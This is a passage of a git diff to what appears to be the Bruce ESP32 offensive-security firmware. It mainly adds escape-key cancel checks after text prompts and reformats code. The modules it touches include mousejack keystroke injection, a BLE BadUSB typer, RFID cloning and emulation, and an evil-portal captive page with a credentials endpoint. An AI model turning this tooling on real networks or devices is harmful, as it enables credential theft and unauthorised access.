+            };
+
+            auto moveKeyboardCursorPrev = [&]() {
+                if (y < 0) {
+                    x--;
+                    if (x >= buttons_number) x = buttons_number - 2;
+                    if (x < 0) {
+                        y = KeyboardHeight - 1;
+                        x = KeyboardWidth - 1;
+                    }
+                } else {
+                    x--;
+                    if (x < 0) {
+                        y--;
+                        if (y < 0) {
+                            y = -1;
+                            x = buttons_number - 1;
+                        } else {
+                            x = KeyboardWidth - 1;
+                        }
+                    }
+                }
+                redraw = true;
+            };
+
+            if (check(EscPress)) {
+                direction = !direction;
+                redraw = true;
+            }
+            if (check(SelPress)) {
+                selection_made = true;
+            } else if (check(NextPress)) {
+                if (direction) moveKeyboardCursorNext();
+                else moveKeyboardCursorPrev();
+            } else if (check(PrevPress)) {
+                if (direction) {
+                    y++;
+                    if (y >= KeyboardHeight) { y = -1; }
+                } else {
+                    y--;
+                    if (y < -1) y = KeyboardHeight - 1;
+                }
+                redraw = true;
+            }
+#elif defined(HAS_3_BUTTONS) // StickCs and Core
             if (check(SelPress)) {
                 selection_made = true;
             } else {
@@ -1188,7 +1277,7 @@ String generalKeyboard(
             if (selected_char == '\0') { continue; } // if we selected a key which have the value of
 
             KeyboardAction action = handleKeyboardSelection(
-                x, y, current_text, caps, cursor_x, cursor_y, max_size, selected_char, mask_input
+                x, y, current_text, caps, direction, cursor_x, cursor_y, max_size, selected_char, mask_input
             );
 
             if (action == KEYBOARD_OK) { // OK BTN
@@ -1215,10 +1304,22 @@ String generalKeyboard(
 /// The choice is stored in bruceConfig.keyboardLang and saved to flash.
 void setKeyboardLanguage() {
     std::vector<Option> langOptions = {
-        {"QWERTY (English)",  []() { bruceConfig.keyboardLang = "QWERTY";  bruceConfig.saveFile(); }},
-        {"AZERTY (Français)", []() { bruceConfig.keyboardLang = "AZERTY";  bruceConfig.saveFile(); }},
-        {"QWERTZ (Deutsch)",  []() { bruceConfig.keyboardLang = "QWERTZ";  bruceConfig.saveFile(); }},
-        {"Back",              []() {}                                                                },
+        {"QWERTY (English)",
+         []() {
+             bruceConfig.keyboardLang = "QWERTY";
+             bruceConfig.saveFile();
+         }                           },
+        {"AZERTY (Français)",
+         []() {
+             bruceConfig.keyboardLang = "AZERTY";
+             bruceConfig.saveFile();
+         }                           },
+        {"QWERTZ (Deutsch)",
+         []() {
+             bruceConfig.keyboardLang = "QWERTZ";
+             bruceConfig.saveFile();
+         }                           },
+        {"Back",              []() {}},
     };
 
     // Show current selection in the title
diff --git a/src/core/passwords.cpp b/src/core/passwords.cpp
index 161540014..4042e92c4 100644
--- a/src/core/passwords.cpp
+++ b/src/core/passwords.cpp
@@ -75,7 +75,7 @@ String readDecryptedFile(FS &fs, String filepath) {
 
     if (cachedPassword.length() == 0) {
         cachedPassword = keyboard("", 32, "Password:", true);
-        if (cachedPassword.length() == 0) return ""; // cancelled
+        if (cachedPassword.length() == 0 || cachedPassword == "\x1B") return ""; // cancelled
     }
 
     File cyphertextFile = fs.open(filepath, FILE_READ);
diff --git a/src/core/sd_functions.cpp b/src/core/sd_functions.cpp
index 91de63f47..8792264f5 100644
--- a/src/core/sd_functions.cpp
+++ b/src/core/sd_functions.cpp
@@ -2,8 +2,8 @@
 #include "display.h" // using displayRedStripe as error msg
 #include "modules/badusb_ble/ducky_typer.h"
 #include "modules/bjs_interpreter/interpreter.h"
-#include "modules/gps/wigle.h"
 #include "modules/gps/wdgwars.h"
+#include "modules/gps/wigle.h"
 #include "modules/ir/TV-B-Gone.h"
 #include "modules/ir/custom_ir.h"
 #include "modules/others/audio.h"
@@ -55,8 +55,10 @@ bool setupSdCard() {
         // Serial.println("Task not activated");
     }
     // SDCard in the same Bus as TFT, in this case we call the SPI TFT Instance
-    else if (bruceConfigPins.SDCARD_bus.mosi == (gpio_num_t)TFT_MOSI &&
-             bruceConfigPins.SDCARD_bus.mosi != GPIO_NUM_NC) {
+    else if (
+        bruceConfigPins.SDCARD_bus.mosi == (gpio_num_t)TFT_MOSI &&
+        bruceConfigPins.SDCARD_bus.mosi != GPIO_NUM_NC
+    ) {
         Serial.println("SDCard in the same Bus as TFT, using TFT SPI instance");
 #if TFT_MOSI > 0 // condition for Headless and 8bit displays (no SPI bus)
         if (!SD.begin(bruceConfigPins.SDCARD_bus.cs, tft.getSPIinstance())) {
@@ -163,6 +165,7 @@ bool deleteFromSd(FS fs, String path) {
 ***************************************************************************************/
 bool renameFile(FS fs, String path, String filename) {
     String newName = keyboard(filename, 76, "Type the new Name:");
+    if (newName == "\x1B") return false;
     // Rename the file of folder
     if (fs.rename(path, path.substring(0, path.lastIndexOf('/')) + "/" + newName)) {
         // Serial.println("Renamed from " + filename + " to " + newName);
@@ -330,6 +333,7 @@ bool pasteFile(FS fs, String path) {
 ***************************************************************************************/
 bool createFolder(FS fs, String path) {
     String foldername = keyboard("", 76, "Folder Name: ");
+    if (foldername == "\x1B") return false;
     if (!fs.mkdir(path + "/" + foldername)) {
         displayRedStripe("Couldn't create folder");
         return false;
@@ -775,7 +779,7 @@ String loopSD(FS &fs, bool filePicker, String allowed_ext, String rootPath) {
                                                              RfCodes data{};
 
                                                              if (readSubFile(&fs, filepath, data))
-                                                                txSubFile(data);
+                                                                 txSubFile(data);
                                                          }});
                     if (filepath.endsWith(".csv")) {
                         options.insert(options.begin(), {"Wigle Upload", [&]() {
diff --git a/src/core/wifi/wifi_common.cpp b/src/core/wifi/wifi_common.cpp
index 57a570183..7444651e0 100644
--- a/src/core/wifi/wifi_common.cpp
+++ b/src/core/wifi/wifi_common.cpp
@@ -42,6 +42,7 @@ void ensureWifiPlatform() {
 bool _wifiConnect(const String &ssid, int encryption) {
     String password = bruceConfig.getWifiPassword(ssid);
     if (password == "" && encryption > 0) { password = keyboard(password, 63, "Network Password:", true); }
+    if (password == "\x1B") return false;
     bool connected = _connectToWifiNetwork(ssid, password);
     bool retry = false;
 
@@ -60,6 +61,10 @@ bool _wifiConnect(const String &ssid, int encryption) {
         }
 
         password = keyboard(password, 63, "Network Password:", true);
+        if (password == "\x1B") {
+            wifiDisconnect();
+            return false;
+        }
         connected = _connectToWifiNetwork(ssid, password);
     }
 
@@ -206,7 +211,7 @@ bool wifiConnectMenu(wifi_mode_t mode) {
                 }
                 options.push_back({"Hidden SSID", [=]() {
                                        String __ssid = keyboard("", 32, "Your SSID");
-                                       _wifiConnect(__ssid.c_str(), 8);
+                                       if (__ssid != "\x1B") _wifiConnect(__ssid.c_str(), 8);
                                    }});
                 addOptionToMainMenu();
 
diff --git a/src/core/wifi/wifi_mac.cpp b/src/core/wifi/wifi_mac.cpp
index 67b71bb43..a55d793f6 100644
--- a/src/core/wifi/wifi_mac.cpp
+++ b/src/core/wifi/wifi_mac.cpp
@@ -82,6 +82,7 @@ void wifiMACMenu() {
 
     options.push_back({"Set MAC", []() {
                            String newMAC = keyboard("", 17, "Enter MAC XX:YY:ZZ:AA:BB:CC");
+                           if (newMAC == "\x1B") return;
                            if (setCustomMAC(newMAC)) { displayTextLine("MAC Saved: " + newMAC); }
                        }});
 
diff --git a/src/modules/NRF24/nrf_mousejack.cpp b/src/modules/NRF24/nrf_mousejack.cpp
index 8195fc743..30bc2d914 100644
--- a/src/modules/NRF24/nrf_mousejack.cpp
+++ b/src/modules/NRF24/nrf_mousejack.cpp
@@ -744,7 +744,7 @@ static void mj_attackString(int targetIndex) {
 
     // Get string from user via keyboard
     String text = keyboard("", 200, "Inject text:");
-    if (text.length() == 0) return;
+    if (text.length() == 0 || text == "\x1B") return;
 
     drawMainBorderWithTitle("INJECTING");
     tft.setTextSize(FP);
diff --git a/src/modules/badusb_ble/ducky_typer.cpp b/src/modules/badusb_ble/ducky_typer.cpp
index d9830b753..2c0af5a96 100644
--- a/src/modules/badusb_ble/ducky_typer.cpp
+++ b/src/modules/badusb_ble/ducky_typer.cpp
@@ -182,28 +182,28 @@ struct QueuedHIDKey {
 };
 
 static const KeyboardMenuKey modifierMenuKeys[] = {
-    {"Ctrl",        KEY_LEFT_CTRL },
-    {"Shift",       KEY_LEFT_SHIFT},
-    {"Alt",         KEY_LEFT_ALT  },
-    {"GUI",         KEY_LEFT_GUI  },
-    {"Right Ctrl",  KEY_RIGHT_CTRL},
+    {"Ctrl",        KEY_LEFT_CTRL  },
+    {"Shift",       KEY_LEFT_SHIFT },
+    {"Alt",         KEY_LEFT_ALT   },
+    {"GUI",         KEY_LEFT_GUI   },
+    {"Right Ctrl",  KEY_RIGHT_CTRL },
     {"Right Shift", KEY_RIGHT_SHIFT},
-    {"Right Alt",   KEY_RIGHT_ALT },
-    {"Right GUI",   KEY_RIGHT_GUI },
-    {"Fn",          KEYFN         },
+    {"Right Alt",   KEY_RIGHT_ALT  },
+    {"Right GUI",   KEY_RIGHT_GUI  },
+    {"Fn",          KEYFN          },
 };
 
 static const KeyboardMenuKey navigationMenuKeys[] = {
-    {"Up Arrow",    KEY_UP_ARROW  },
-    {"Down Arrow",  KEY_DOWN_ARROW},
-    {"Left Arrow",  KEY_LEFT_ARROW},
+    {"Up Arrow",    KEY_UP_ARROW   },
+    {"Down Arrow",  KEY_DOWN_ARROW },
+    {"Left Arrow",  KEY_LEFT_ARROW },
     {"Right Arrow", KEY_RIGHT_ARROW},
-    {"Home",        KEY_HOME      },
-    {"End",         KEY_END       },
-    {"Page Up",     KEY_PAGE_UP   },
-    {"Page Down",   KEY_PAGE_DOWN },
-    {"Insert",      KEY_INSERT    },
-    {"Delete",      KEY_DELETE    },
+    {"Home",        KEY_HOME       },
+    {"End",         KEY_END        },
+    {"Page Up",     KEY_PAGE_UP    },
+    {"Page Down",   KEY_PAGE_DOWN  },
+    {"Insert",      KEY_INSERT     },
+    {"Delete",      KEY_DELETE     },
 };
 
 static const KeyboardMenuKey specialMenuKeys[] = {
@@ -353,9 +353,11 @@ static void openKeySection(
 
         for (size_t i = 0; i < keyCount; i++) {
             KeyboardMenuKey menuKey = menuKeys[i];
-            sectionOptions.push_back({menuKey.label, [&, menuKey]() {
-                                          queueOrSendKey(hid, queueRecording, queuedKeys, menuKey.label, menuKey.key);
-                                      }});
+            sectionOptions.push_back(
+                {menuKey.label, [&, menuKey]() {
+                     queueOrSendKey(hid, queueRecording, queuedKeys, menuKey.label, menuKey.key);
+                 }}
+            );
         }
 
         sectionOptions.push_back({"Back", []() {}});
@@ -366,30 +368,28 @@ static void openKeySection(
     }
 }
 
-static void keyboardSectionAction(
-    HIDInterface *hid, bool &queueRecording, std::vector<QueuedHIDKey> &queuedKeys
-) {
+static void
+keyboardSectionAction(HIDInterface *hid, bool &queueRecording, std::vector<QueuedHIDKey> &queuedKeys) {
     if (queueRecording) {
         String queuedChar = keyboard("", 1, "Queue character:");
-        if (queuedChar.length() == 0 || isKeyboardInputCanceled(queuedChar)) return;
+        if (queuedChar == "\x1B" || queuedChar.length() == 0 || isKeyboardInputCanceled(queuedChar)) return;
         String label = queuedChar.substring(0, 1);
         queueOrSendKey(hid, true, queuedKeys, label, static_cast<uint8_t>(queuedChar.charAt(0)));
         return;
     }
 
     String typedText = keyboard("", 76, "Type your message:");
-    if (typedText.length() == 0 || isKeyboardInputCanceled(typedText)) return;
+    if (typedText == "\x1B" || typedText.length() == 0 || isKeyboardInputCanceled(typedText)) return;
 
     hid->print(typedText.c_str());
     displayTextLine("Text sent");
 }
 
-static void sendQueuedKeys(HIDInterface *hid, bool &queueRecording, const std::vector<QueuedHIDKey> &queuedKeys) {
+static void
+sendQueuedKeys(HIDInterface *hid, bool &queueRecording, const std::vector<QueuedHIDKey> &queuedKeys) {
     if (queuedKeys.empty()) return;
 
-    for (const auto &queuedKey : queuedKeys) {
-        hid->press(queuedKey.key);
-    }
+    for (const auto &queuedKey : queuedKeys) { hid->press(queuedKey.key); }
     delay(bruceConfig.badUSBBLEKeyDelay);
     hid->releaseAll();
 
@@ -848,7 +848,8 @@ void ducky_keyboard(HIDInterface *&hid, bool ble) {
         while (!exitKeyboard) {
             options = {
                 {"Keyboard",      [&]() { keyboardSectionAction(hid, queueRecording, queuedKeys); }},
-                {"Modifiers",     [&]() {
+                {"Modifiers",
+                 [&]() {
                      openKeySection(
                          hid,
                          "Modifier keys",
@@ -857,8 +858,9 @@ void ducky_keyboard(HIDInterface *&hid, bool ble) {
                          queueRecording,
                          queuedKeys
                      );
-                 }                                                                          },
-                {"Navigation",    [&]() {
+                 }                                                                                 },
+                {"Navigation",
+                 [&]() {
                      openKeySection(
                          hid,
                          "Navigation keys",
@@ -867,8 +869,9 @@ void ducky_keyboard(HIDInterface *&hid, bool ble) {
                          queueRecording,
                          queuedKeys
                      );
-                 }                                                                          },
-                {"Special keys",  [&]() {
+                 }                                                                                 },
+                {"Special keys",
+                 [&]() {
                      openKeySection(
                          hid,
                          "Special keys",
@@ -877,8 +880,9 @@ void ducky_keyboard(HIDInterface *&hid, bool ble) {
                          queueRecording,
                          queuedKeys
                      );
-                 }                                                                          },
-                {"Function keys", [&]() {
+                 }                                                                                 },
+                {"Function keys",
+                 [&]() {
                      openKeySection(
                          hid,
                          "Function keys",
@@ -887,7 +891,7 @@ void ducky_keyboard(HIDInterface *&hid, bool ble) {
                          queueRecording,
                          queuedKeys
                      );
-                 }                                                                          },
+                 }                                                                                 },
                 {"Numpad keys",   [&]() {
                      openKeySection(
                          hid,
@@ -897,7 +901,7 @@ void ducky_keyboard(HIDInterface *&hid, bool ble) {
                          queueRecording,
                          queuedKeys
                      );
-                 }                                                                          },
+                 }                                                  },
             };
 
             String startQueueLabel = queueRecording ? "Start Queue [ON]" : "Start Queue";
diff --git a/src/modules/bjs_interpreter/keyboard_js.cpp b/src/modules/bjs_interpreter/keyboard_js.cpp
index 671525581..b46db1114 100644
--- a/src/modules/bjs_interpreter/keyboard_js.cpp
+++ b/src/modules/bjs_interpreter/keyboard_js.cpp
@@ -74,7 +74,7 @@ static JSValue keyboard_wrapper(JSContext *ctx, JSValue *argv, int argc, Keyboar
             case KEYBOARD_NUM: result = num_keyboard(""); break;
         }
     }
-
+    if (result == "\x1B") result = "";
     return JS_NewString(ctx, result.c_str());
 }
 
diff --git a/src/modules/ble/ble_spam.cpp b/src/modules/ble/ble_spam.cpp
index 100ab114a..a810b7d26 100644
--- a/src/modules/ble/ble_spam.cpp
+++ b/src/modules/ble/ble_spam.cpp
@@ -345,7 +345,10 @@ void ibeacon(const char *DeviceName, const char *BEACON_UUID, int ManufacturerId
 void aj_adv(int ble_choice) {
     int count = 0;
     String spamName = "";
-    if (ble_choice == 6) { spamName = keyboard("", 24, "Name to spam"); }
+    if (ble_choice == 6) {
+        spamName = keyboard("", 24, "Name to spam");
+        if (spamName == "\x1B") return;
+    }
 
     if (ble_choice == 2) {
         spamName = keyboard("", 24, "Windows Name to spam");
diff --git a/src/modules/ir/ir_read.cpp b/src/modules/ir/ir_read.cpp
index 65940ef94..b253c639e 100644
--- a/src/modules/ir/ir_read.cpp
+++ b/src/modules/ir/ir_read.cpp
@@ -58,12 +58,9 @@ bool quickloop = false;
 
 static String getParsedProtocolName(const decode_results &r) {
     switch (r.decode_type) {
-        case decode_type_t::RC5:
-            return (r.command > 0x3F) ? "RC5X" : "RC5";
-        case decode_type_t::RC6:
-            return "RC6";
-        case decode_type_t::SAMSUNG:
-            return "Samsung32";
+        case decode_type_t::RC5: return (r.command > 0x3F) ? "RC5X" : "RC5";
+        case decode_type_t::RC6: return "RC6";
+        case decode_type_t::SAMSUNG: return "Samsung32";
         case decode_type_t::SONY:
             if (r.address > 0xFF) return "SIRC20";
             if (r.address > 0x1F) return "SIRC15";
@@ -73,10 +70,8 @@ static String getParsedProtocolName(const decode_results &r) {
             if (r.address > 0xFF1F) return "NECext";
             if (r.address > 0xFF) return "NEC42";
             return "NEC";
-        case decode_type_t::UNKNOWN:
-            return "";
-        default:
-            return typeToString(r.decode_type, r.repeat);
+        case decode_type_t::UNKNOWN: return "";
+        default: return typeToString(r.decode_type, r.repeat);
     }
 }
 
@@ -157,8 +152,14 @@ void IrRead::loop() {
 
         if (_emulate_mode) {
             if (check(SelPress)) emulate_signal();
-            if (check(NextPress)) { _emulate_mode = false; discard_signal(); }
-            if (check(PrevPress)) { _emulate_mode = false; save_signal(); }
+            if (check(NextPress)) {
+                _emulate_mode = false;
+                discard_signal();
+            }
+            if (check(PrevPress)) {
+                _emulate_mode = false;
+                save_signal();
+            }
         } else {
             if (check(NextPress)) save_signal();
             if (quickloop && button_pos == quickButtons.size()) save_device();
@@ -240,9 +241,7 @@ void IrRead::read_signal() {
     padprint("RAW Data Captured:");
     String raw_signal = parse_raw_signal();
     _captured_raw_signal = raw_signal;
-    tft.println(
-        raw_signal.substring(0, 45) + (raw_signal.length() > 45 ? "..." : "")
-    );
+    tft.println(raw_signal.substring(0, 45) + (raw_signal.length() > 45 ? "..." : ""));
 
     display_btn_options();
     delay(500);
@@ -292,6 +291,7 @@ void IrRead::save_signal() {
     if (!_read_signal) return;
     if (!quickloop) {
         String btn_name = keyboard("Btn" + String(signals_read), 30, "Btn name:");
+        if (btn_name == "\x1B") return;
         append_to_file_str(btn_name);
     } else {
         append_to_file_str(quickButtons[button_pos]);
@@ -382,8 +382,8 @@ void IrRead::append_to_file_str(String btn_name) {
         strDeviceContent += "bits: " + String(results.bits) + "\n";
         if (hasACState(results.decode_type)) strDeviceContent += "state: " + parse_state_signal() + "\n";
         else if (results.bits > 32)
-            strDeviceContent += "value: " + uint32ToString(results.value) + " " +
-                                uint32ToString(results.value >> 32) + "\n";
+            strDeviceContent +=
+                "value: " + uint32ToString(results.value) + " " + uint32ToString(results.value >> 32) + "\n";
         else strDeviceContent += "value: " + uint32ToStringInverted(results.value) + "\n";
     }
     strDeviceContent += "#\n";
@@ -393,6 +393,7 @@ void IrRead::save_device() {
     if (signals_read == 0) return;
 
     String filename = keyboard("MyDevice", 30, "File name:");
+    if (filename == "\x1B") return;
 
     display_banner();
 
@@ -487,6 +488,7 @@ bool IrRead::write_file(String filename, FS *fs) {
             case 2: (*fs).remove("/BruceIR/" + filename + ".ir"); break;
             case 3:
                 filename = keyboard(filename, 30, "File name:");
+                if (filename == "\x1B") return;
                 display_banner();
                 break;
         }
diff --git a/src/modules/lora/LoRaRF.cpp b/src/modules/lora/LoRaRF.cpp
index 870ea0c64..765dc8a90 100644
--- a/src/modules/lora/LoRaRF.cpp
+++ b/src/modules/lora/LoRaRF.cpp
@@ -93,8 +93,10 @@ SPIClass *selectLoraSPIBus() {
     } else if (bruceConfigPins.SDCARD_bus.mosi == bruceConfigPins.LoRa_bus.mosi) {
         selectedSPI = &sdcardSPI;
         Serial.println("Using SDCard SPI for LoRa");
-    } else if (bruceConfigPins.NRF24_bus.mosi == bruceConfigPins.LoRa_bus.mosi ||
-               bruceConfigPins.CC1101_bus.mosi == bruceConfigPins.LoRa_bus.mosi) {
+    } else if (
+        bruceConfigPins.NRF24_bus.mosi == bruceConfigPins.LoRa_bus.mosi ||
+        bruceConfigPins.CC1101_bus.mosi == bruceConfigPins.LoRa_bus.mosi
+    ) {
         selectedSPI = &CC_NRF_SPI;
         CC_NRF_SPI.begin(
             (int8_t)bruceConfigPins.LoRa_bus.sck,
@@ -277,6 +279,7 @@ void sendmsg() {
         return;
     }
     msg = keyboard(msg, 256, "Message:");
+    if (msg == "\x1B") return;
     msg = String(displayName) + ": " + msg;
     if (msg == "") return;
     Serial.println(msg);
@@ -451,7 +454,7 @@ void lorachat() {
 void changeusername() {
     tft.fillScreen(TFT_BLACK);
     String username = keyboard(username, 64, "");
-    if (username == "") return;
+    if (username == "" || username == "\x1B") return;
     File file = LittleFS.open("/lora_settings.json", "r");
     JsonDocument doc;
     deserializeJson(doc, file);
@@ -475,7 +478,7 @@ void chfreq() {
     snprintf(buf, sizeof(buf), "%.3f", dfreq);
     String freq = num_keyboard(buf, 12, "in Mhz");
     dfreq = freq.toDouble();
-    if (dfreq == 0) {
+    if (dfreq == 0 || freq == "\x1B") {
         displayError("Invalid value");
         return;
     } else if (dfreq > 1000) {
diff --git a/src/modules/others/clicker.cpp b/src/modules/others/clicker.cpp
index 413293616..07a45ff73 100644
--- a/src/modules/others/clicker.cpp
+++ b/src/modules/others/clicker.cpp
@@ -14,8 +14,8 @@
 // These variables persist across function calls and are safe from stack corruption
 // during USB initialization (which can corrupt local stack variables)
 
-static LayoutConfig layout;  // Screen layout configuration
-static ClickerConfig config; // User configuration (delay, button, clicks)
+static LayoutConfig layout;          // Screen layout configuration
+static ClickerConfig config;         // User configuration (delay, button, clicks)
 static USBHIDMouse *Mouse = nullptr; // Lazy init to avoid global HID descriptor registration
 
 // Runtime tracking for CPS calculation
@@ -591,6 +591,7 @@ bool handleValueEditing(
             // Open keyboard for custom input
             if (custom_mode && check(SelPress)) {
                 String customValue = num_keyboard(String(config.max_clicks).c_str(), 6, "Custom Click Count");
+                if (customValue == "\x1B") return false;
                 int val = atoi(customValue.c_str());
                 config.max_clicks = (val < 0) ? 0 : val;
                 custom_mode = false;
diff --git a/src/modules/others/qrcode_menu.cpp b/src/modules/others/qrcode_menu.cpp
index 54546d1ea..d47ace6a3 100644
--- a/src/modules/others/qrcode_menu.cpp
+++ b/src/modules/others/qrcode_menu.cpp
@@ -47,8 +47,10 @@ void display_custom_qrcode() {
 
 void pix_qrcode() {
     String key = keyboard("", 25, "PIX Key:");
+    if (key == "\x1B") return;
     String key_length = key.length() >= 10 ? String(key.length()) : "0" + String(key.length());
     String amount = num_keyboard("1000.00", 10, "Int amount:");
+    if (amount == "\x1B") return;
     amount = String(amount.toFloat());
     String amount_length = amount.length() >= 10 ? String(amount.length()) : "0" + String(amount.length());
 
@@ -91,6 +93,7 @@ void custom_qrcode_menu() {
 void save_and_display_qrcode() {
 
     String name = keyboard("", 100, "QRCode name:");
+    if (name == "\x1B") return;
     if (name.isEmpty()) {
         displayError("Name cannot be empty!");
         delay(1000);
@@ -108,6 +111,7 @@ void save_and_display_qrcode() {
     }
 
     String text = keyboard("", 100, "QRCode text:");
+    if (text == "\x1B") return;
 
     bruceConfig.addQrCodeEntry(name, text);
     return qrcode_display(text);
diff --git a/src/modules/rfid/chameleon.cpp b/src/modules/rfid/chameleon.cpp
index 363c8c967..9bb2c098d 100644
--- a/src/modules/rfid/chameleon.cpp
+++ b/src/modules/rfid/chameleon.cpp
@@ -410,6 +410,7 @@ void Chameleon::saveFileLF() {
     String data = printableLFUID;
     data.replace(" ", "");
     String filename = keyboard(data, 30, "File name:");
+    if (filename == "\x1B") return;
 
     displayBanner();
 
@@ -677,6 +678,7 @@ void Chameleon::saveFileHF() {
     String uid_str = printableHFUID.uid;
     uid_str.replace(" ", "");
     String filename = keyboard(uid_str, 30, "File name:");
+    if (filename == "\x1B") return;
 
     displayBanner();
 
diff --git a/src/modules/rfid/pn532ble.cpp b/src/modules/rfid/pn532ble.cpp
index 9eebc02b4..8ca8368cb 100644
--- a/src/modules/rfid/pn532ble.cpp
+++ b/src/modules/rfid/pn532ble.cpp
@@ -209,6 +209,7 @@ void Pn532ble::loadNdefEmulateMenu() {
     loopOptions(options);
 
     String ndef_data = keyboard(prefix, 255, "NDEF data:");
+    if (ndef_data == "\x1B") return;
     ndef_data.trim();
     emulationNdefData = ndef_data;
     setMode(HF_TG_INIT_AS_TARGET_MODE);
diff --git a/src/modules/rfid/rfid125.cpp b/src/modules/rfid/rfid125.cpp
index 4f9529dd5..cc04bd47d 100644
--- a/src/modules/rfid/rfid125.cpp
+++ b/src/modules/rfid/rfid125.cpp
@@ -232,6 +232,7 @@ void RFID125::save_file() {
     String data = _printable_data;
     data.replace(" ", "");
     String filename = keyboard(data, 30, "File name:");
+    if (filename == "\x1B") return;
 
     display_banner();
 
diff --git a/src/modules/rfid/tag_o_matic.cpp b/src/modules/rfid/tag_o_matic.cpp
index bd4378701..421c4f5bc 100644
--- a/src/modules/rfid/tag_o_matic.cpp
+++ b/src/modules/rfid/tag_o_matic.cpp
@@ -325,7 +325,7 @@ void TagOMatic::emulate_card() {
 
 void TagOMatic::write_custom_uid() {
     String custom_uid = keyboard("", _rfid->uid.size * 2, "UID (hex):");
-
+    if (custom_uid == "\x1B") return;
     custom_uid.trim();
     custom_uid.replace(" ", "");
     custom_uid.toUpperCase();
@@ -420,6 +420,7 @@ void TagOMatic::create_ndef_text() {
     _rfid->ndefMessage.payload[2] = 0x6E;
 
     String ndef_data = keyboard("", NDEF_DATA_SIZE, "NDEF data:");
+    if (ndef_data == "\x1B") return;
 
     for (i = 0; i < ndef_data.length(); i++) { _rfid->ndefMessage.payload[i + 3] = ndef_data.charAt(i); }
     _rfid->ndefMessage.payloadSize = i + 3;
@@ -476,6 +477,7 @@ void TagOMatic::create_ndef_url() {
     _rfid->ndefMessage.payload[0] = uic;
 
     String ndef_data = keyboard(prefix, NDEF_DATA_SIZE, "NDEF data:");
+    if (ndef_data == "\x1B") return;
     ndef_data = ndef_data.substring(prefix.length());
 
     for (i = 0; i < ndef_data.length(); i++) { _rfid->ndefMessage.payload[i + 1] = ndef_data.charAt(i); }
@@ -496,10 +498,10 @@ void TagOMatic::load_file() {
         _read_uid = true;
 
         options = {
-            {"Clone UID",  [this]() { set_state(CLONE_MODE); }},
-            {"Write data", [this]() { set_state(WRITE_MODE); }},
-            {"Check tag",  [this]() { set_state(CHECK_MODE); }},
-            {"Emulate tag",[this]() { set_state(EMULATE_MODE); }},
+            {"Clone UID",   [this]() { set_state(CLONE_MODE); }  },
+            {"Write data",  [this]() { set_state(WRITE_MODE); }  },
+            {"Check tag",   [this]() { set_state(CHECK_MODE); }  },
+            {"Emulate tag", [this]() { set_state(EMULATE_MODE); }},
         };
 
         loopOptions(options);
@@ -513,6 +515,7 @@ void TagOMatic::save_file() {
     String uid_str = _rfid->printableUID.uid;
     uid_str.replace(" ", "");
     String filename = keyboard(uid_str, 30, "File name:");
+    if (filename == "\x1B") return;
 
     display_banner();
 
diff --git a/src/modules/wifi/clients.cpp b/src/modules/wifi/clients.cpp
index fa5dde7f1..050f3eb82 100644
--- a/src/modules/wifi/clients.cpp
+++ b/src/modules/wifi/clients.cpp
@@ -1144,11 +1144,8 @@ void runSessionUiLoop(const String &title) {
         }
 #else
         if (check(SelPress)) {
-            while (check(SelPress)) { yield(); }
-            String message = keyboard("cls", 76, title + " Command:");
-            while (check(SelPress)) { yield(); }
-
-            if (message == "cls") {
+            String message = keyboard("", 76, title + " Command:");
+            if (message == "cls" || message == "clear") {
                 appendSessionCommandToLog(message);
                 resetClientScreen(title.c_str());
             } else {
@@ -1158,7 +1155,6 @@ void runSessionUiLoop(const String &title) {
                 tft.println("> " + message);
                 tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
             }
-
             resetCommandBufferToPrompt();
             renderPrompt();
         }
@@ -1197,11 +1193,15 @@ void ssh_setup(String host) {
         String my_net =
             WiFi.gatewayIP().toString().substring(0, WiFi.gatewayIP().toString().lastIndexOf(".") + 1);
         ssh_host = keyboard(my_net, 100, "SSH HOST (IP or Hostname)");
+        if (ssh_host == "\x1B") return;
     }
 
     ssh_port = num_keyboard("22", 5, "SSH PORT");
+    if (ssh_port == "\x1B") return;
     ssh_user = keyboard("", 76, "SSH USER");
+    if (ssh_user == "\x1B") return;
     ssh_password = keyboard("", 76, "SSH PASSWORD", true);
+    if (ssh_password == "\x1B") return;
 
     IPAddress resolvedIp;
     if (WiFi.hostByName(ssh_host.c_str(), resolvedIp)) {
@@ -1249,7 +1249,9 @@ void telnet_setup() {
     Serial.println("Starting Telnet Setup");
 
     telnet_server_string = keyboard("", 76, "TELNET_SERVER");
+    if (telnet_server_string == "\x1B") return;
     telnet_port_string = num_keyboard("23", 5, "TELNET PORT");
+    if (telnet_port_string == "\x1B") return;
     telnet_server_port = telnet_port_string.toInt();
 
     IPAddress resolvedIp;
diff --git a/src/modules/wifi/evil_portal.cpp b/src/modules/wifi/evil_portal.cpp
index 46a84b7d9..b4fbffb49 100644
--- a/src/modules/wifi/evil_portal.cpp
+++ b/src/modules/wifi/evil_portal.cpp
@@ -14,31 +14,31 @@ EvilPortal::EvilPortal(
 )
     : apName(tssid), _channel(channel), _deauth(deauth), _verifyPwd(verifyPwd), _autoMode(autoMode),
       _backgroundMode(backgroundMode), webServer(80), _launchTime(millis()) {
-    
+
     _originalWifiMode = WiFi.getMode();
     _wifiWasConnected = (WiFi.status() == WL_CONNECTED);
-    
+
     if (!setup()) return;
     cleanlyStopWebUiForWiFiFeature();
     beginAP();
-    if (!_backgroundMode) {
-        loop();
-    }
+    if (!_backgroundMode) { loop(); }
 }
 
-EvilPortal::~EvilPortal() {
-}
+EvilPortal::~EvilPortal() {}
 
 void EvilPortal::CaptiveRequestHandler::handleRequest(AsyncWebServerRequest *request) {
     AsyncResponseStream *response = request->beginResponseStream("text/html");
     String url = request->url();
     if (url == "/") _portal->portalController(request);
     else if (url == "/post") _portal->credsController(request);
-    else if (url == bruceConfig.evilPortalEndpoints.getCredsEndpoint &&
-             bruceConfig.evilPortalEndpoints.allowGetCreds)
+    else if (
+        url == bruceConfig.evilPortalEndpoints.getCredsEndpoint &&
+        bruceConfig.evilPortalEndpoints.allowGetCreds
+    )
         request->send(200, "text/html", _portal->creds_GET());
-    else if (url == bruceConfig.evilPortalEndpoints.setSsidEndpoint &&
-             bruceConfig.evilPortalEndpoints.allowSetSsid) {
+    else if (
+        url == bruceConfig.evilPortalEndpoints.setSsidEndpoint && bruceConfig.evilPortalEndpoints.allowSetSsid
+    ) {
         if (request->hasArg("ssid")) {
             _portal->apName = request->arg("ssid").c_str();
             request->send(200, "text/html", _portal->ssid_POST());
@@ -246,17 +246,17 @@ void EvilPortal::restartWiFi(bool reset) {
     webServer.end();
     dnsServer.stop();
     vTaskDelay(100 / portTICK_PERIOD_MS);
-    
+
     _captiveHandler = nullptr;
-    
+
     wifiDisconnect();
